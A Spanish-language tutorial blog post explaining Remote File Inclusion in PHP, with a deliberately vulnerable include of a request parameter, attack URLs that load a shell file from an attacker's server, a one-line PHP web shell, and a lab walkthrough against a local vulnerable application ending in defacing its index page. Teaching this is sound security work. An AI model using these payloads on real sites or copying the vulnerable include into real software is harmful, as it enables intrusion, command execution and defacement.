Post26 nn

La vulnerabilidad RFI (Remote File Inclusion) permite a un atacante ejecutar archivos remotos alojados en otros servidores.

Por ejemplo, se tiene el siguiente sitio web:

Estructura:

seccion.php

<?php
include $_REQUEST['id'];
?>


El parámetro se pasaría de esta forma:

http://www.victima.com/seccion.php?id=home


Se podría testear la vulnerabilidad, agregando un archivo remoto al parámetro id de la siguiente manera:

http://www.victima.com/seccion.php?id=http://www.serveratacante.com/shell.txt&&cmd=ls


Ejemplo:

shell.txt

<?
system($cmd)
?>


Con esto le estamos diciendo a la aplicación, que ejecute la shell del servidor atacante ejecutando el comando ls para listar archivos del servidor víctima, la diferencia principal con la vulnerabilidad LFI, es que esta vulnerabilidad funciona a través de una petición con un servidor web externo, mientras que la vulnerabilidad LFI solo funciona directamente contra el servidor web víctima. A continuación veremos un ejemplo más práctico sobre dicha vulnerabilidad.


Sitio Web aparentemente vulnerable


Para probar esta vulnerabilidad agregaremos el sitio web, https://www.google.cl, de tal manera que, si el aplicativo es vulnerable, nos debería mostrar el sitio web de google dentro del sitio web víctima. Por lo tanto el vector de ataque, quedaría de la siguiente forma:


http://192.168.1.40/dvws/vulnerabilities/fi/?page=http://www.google.cl/


Sitio Web  vulnerable a RFI



A continuación utilizaremos un servidor atacante el cual tendrá una shell para que posteriormente sea ejecutada en el servidor web de la víctima.

http://192.168.1.40/dvws/vulnerabilities/fi/?page=192.168.1.8/shell.txt


Shell en Servidor Víctima


El servidor víctima interpretó dicha extensión txt como php, por ende al intentar recuperar un archivo de un servidor web externo, este es procesado como php y cómo es posible observar tenemos la shell en el servidor víctima, finalmente editamos el index para reflejar el fallo de seguridad.

Editando Index



Una vez que se tiene acceso a través de la shell, se pueden obtener contraseñas, modificar archivos, acceder a contenidos ocultos, etc.



Artículos que te pueden interesar